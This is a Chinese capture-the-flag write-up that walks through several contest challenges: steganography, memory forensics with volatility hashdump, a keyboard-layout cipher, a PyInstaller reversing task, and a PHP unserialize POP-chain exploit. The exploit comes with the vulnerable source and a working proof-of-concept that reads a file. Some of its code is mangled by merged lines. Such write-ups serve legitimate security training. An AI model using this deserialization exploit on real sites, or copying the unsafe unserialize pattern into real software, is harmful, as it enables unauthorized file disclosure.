CTF-安恒19年一月月赛部分writeup

时间:2023-03-08 23:58:58
CTF-安恒19年一月月赛部分writeup

CTF-安恒19年一月月赛部分writeup

MISC1-赢战2019

是一道图片隐写题

CTF-安恒19年一月月赛部分writeup

linux下可以正常打开图片,首先到binwalk分析一下。

CTF-安恒19年一月月赛部分writeup

里面有东西,foremost分离一下

CTF-安恒19年一月月赛部分writeup

有一张二维码,扫一下看看

CTF-安恒19年一月月赛部分writeup

好吧 不是flag,继续分析图片,在winhex没有发现异常,那么上神器StegSolve分析一下

第一次翻了一遍图层没发现,眼瞎第二次才看见

CTF-安恒19年一月月赛部分writeup

flag{You_ARE_SOsmart}

提交md5即可

MISC2-memory

内存取证

既然是内存取证直接上volatility

首先分析一下镜像信息

#volatility -f memory imageinfo

CTF-安恒19年一月月赛部分writeup

可以看到是32位镜像,所以配置使用--profile=WinXPSP2x86

题目要求找出管理员登陆密码,所以直接hashdump即可

CTF-安恒19年一月月赛部分writeup

c22b315c040ae6e0efee3518d830362b这一段便是admin的密码hash,到somd5解一下   https://www.somd5.com/

CTF-安恒19年一月月赛部分writeup

然后将123456789md5一下就可以了

flag{25f9e794323b453885f5181f1b624d0b}

CRYPTO1-键盘之争

CTF-安恒19年一月月赛部分writeup

题目提示 听说过键盘之争吗,好吧真没听说过,那就百度一下,然后了解到还有其他不同于市面上的普通键盘的键位排列

CTF-安恒19年一月月赛部分writeup

所以flag就是对着换一下字母即可 y对应Dvorak键盘的f  p对应Dvorak键盘的l ......然后一个一个换出来即可

flag{this_is_flag}

md5处理提交

flag{951c712ac2c3e57053c43d80c0a9e543}

REVERSE1-来玩蛇吧

题目给了一个exe文件和一个pyc文件,但是pyc文件反编译失败了,但是pyc肯定不是白给的,应该是某种提示,所以找了一番后,发现可以使用 pyinstxtractor.py脚本(下载地址:https://sourceforge.net/projects/pyinstallerextractor/)反编译题目给出的.exe文件

CTF-安恒19年一月月赛部分writeup

编译出不少东西,但是有用的只要AnhengRe文件

CTF-安恒19年一月月赛部分writeup

然后用winhex打开文件修复文件头增加头部

CTF-安恒19年一月月赛部分writeup

改后缀为.pyc,到https://tool.lu/pyc/反编译一下即可得到源码

#!/usr/bin/env python
# encoding: utf-8
# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
import os
n1 = input('Tell me your name?')
n2 = input('Tell me your pasw')
n11 = chr(ord(n1[0]) + 12)
s = ''
st3 = '51e'
st2 = '9f1ff1e8b5b91110'
st1 = 'c4e21c11a2412'
st0 = 'wrong'
if n11 + 'AnHeng' == n2:
for i in range(0, 4):
s += st1[3 - i] print('Congratulations')
ts = st2[0] + st3 + st2[1] + s
print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
os.system('pause')
else:
print('no,' + st0)
import os
n1 = input('Tell me your name?')
n2 = input('Tell me your pasw')
n11 = chr(ord(n1[0]) + 12)
s = ''
st3 = '51e'
st2 = '9f1ff1e8b5b91110'
st1 = 'c4e21c11a2412'
st0 = 'wrong'
if n11 + 'AnHeng' == n2:
for i in range(0, 4):
s += st1[3 - i] print('Congratulations')
ts = st2[0] + st3 + st2[1] + s
print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')
os.system('pause')
else:
print('no,' + st0)

然后将多余代码全部删除

#!/usr/bin/env python
# encoding: utf-8
# 如果觉得不错,可以推荐给你的朋友!http://tool.lu/pyc
import os s = ''
st3 = '51e'
st2 = '9f1ff1e8b5b91110'
st1 = 'c4e21c11a2412'
st0 = 'wrong'
print('Congratulations')
ts = st2[0] + st3 + st2[1] + s
print('flag{' + st3[:1] + st1 + st2 + st3[-2:] + '}')

运行即可得到flag

CTF-安恒19年一月月赛部分writeup

flag{5c4e21c11a24129f1ff1e8b5b911101e}

复现的web1

源码

<?php
@error_reporting(1);
#include 'flag.php';
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new sec;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
} class cool
{
public $filename;
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
} class sec
{
function read()
{
return "it's so sec~~";
}
}
if (isset($_GET['data']))
{
$Input_data = unserialize($_GET['data']);
echo $Input_data;
} ?>

php 反序列化pop链构造

sec类中的read函数直接返回了一个字符串,但是cool类中的read函数执行了file_get_contents,baby虽然调用了sec类,但是通过寻找相同的函数名将类的属性和敏感函数的属性联系起来

利用脚本构造poc,来调用cool类中定义的read函数

<?php
@error_reporting(1);
class baby
{
protected $skyobj;
public $aaa;
public $bbb;
function __construct()
{
$this->skyobj = new cool;
}
function __toString()
{
if (isset($this->skyobj))
return $this->skyobj->read();
}
} class cool
{
public $filename = "flag.php";
public $nice;
public $amzing;
function read()
{
$this->nice = unserialize($this->amzing);
$this->nice->aaa = $sth;
if($this->nice->aaa === $this->nice->bbb)
{
$file = "./{$this->filename}";
if (file_get_contents($file))
{
return file_get_contents($file);
}
else
{
return "you must be joking!";
}
}
}
} echo urlencode(serialize(new baby())); ?>

CTF-安恒19年一月月赛部分writeup

这里直接没有构造amazing,所以实例化的this->nice为空,后面的也就全都是空值,if条件里的判断也就绕过了

给data传参后,查看网页源代码,得到flag